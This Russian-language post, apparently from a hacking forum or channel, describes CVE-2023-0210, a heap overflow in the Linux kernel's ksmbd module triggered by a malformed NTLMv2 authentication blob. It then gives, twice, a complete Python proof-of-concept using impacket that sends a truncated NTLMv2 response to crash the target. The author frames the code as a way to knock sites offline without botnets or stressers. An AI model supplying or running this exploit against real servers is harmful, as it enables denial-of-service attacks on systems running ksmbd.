Детали новой уязвимости в ядре Linux, которая позволяет проводить удаленную атаку типа DoS(Denial-of-Service) лишь отослав один пакет. Уязвимость CVE-2023-0210 была найдена в модуле с открытым исходным кодом ядра Linux - ksmbd(используется для аутенфикации посредством NTLMv2 протокола). Уязвимость позволяет моментально крашить систему на которую будет прислан поддельный пакет. В чем суть? Все дело из-за переполнения "кучи"(heap) из-за уязвимой функции ksmbd_decode_ntlmssp_auth_blob. Переменная nt_len может быть меньше CIFS_ENCPWD_SIZE, все это может привести к негативному аргументу blen для функции ksmbd_auth_ntlmv2, а этот аргумент в свою очередь приводит к неправильному использованию memcpy аллоцированной памяти. Итог Неправильно рассчитываемая длина пакетов приводит к ошибке в копировании, что приводит к крашу системы в целом, спасибо C за "no memory-safety". Таким образом можно ложить сайты без никаких ботнетов, стрессеров и прочей лабуды, если на сервере активен "демон" ksmbd. Но как сделать данный эксплоит никто не поймет, у них же лапки, поэтому ниже будет код на всеми любимом петухоне from impacket.smbconnection import SMBConnection from impacket import ntlm import functools user = "test" pw = "test" domain = "localhost" address = "127.0.0.1" target_ip = "127.0.0.1" port = "445" def post_function(func, post_func): @functools.wrap(func) def run(*args, **kwargs): resp = func(*args, **kwargs) return post_func(resp) return run def post_ntlm_hook(resp): return ('A' * 10, resp[1], resp[2]) ntlm.computeResponseNTLMv2 = post_function( ntlm.computeResponseNTLMv2, post_ntlm_hook ) smb_client = SMBConnection(address, target_ip, port) smb_client.login(user, pw, domain) Python from impacket.smbconnection import SMBConnection from impacket import ntlm import functools user = "test" pw = "test" domain = "localhost" address = "127.0.0.1" target_ip = "127.0.0.1" port = "445" def post_function(func, post_func): @functools.wrap(func) def run(*args, **kwargs): resp = func(*args, **kwargs) return post_func(resp) return run def post_ntlm_hook(resp): return ('A' * 10, resp[1], resp[2]) ntlm.computeResponseNTLMv2 = post_function( ntlm.computeResponseNTLMv2, post_ntlm_hook ) smb_client = SMBConnection(address, target_ip, port) smb_client.login(user, pw, domain)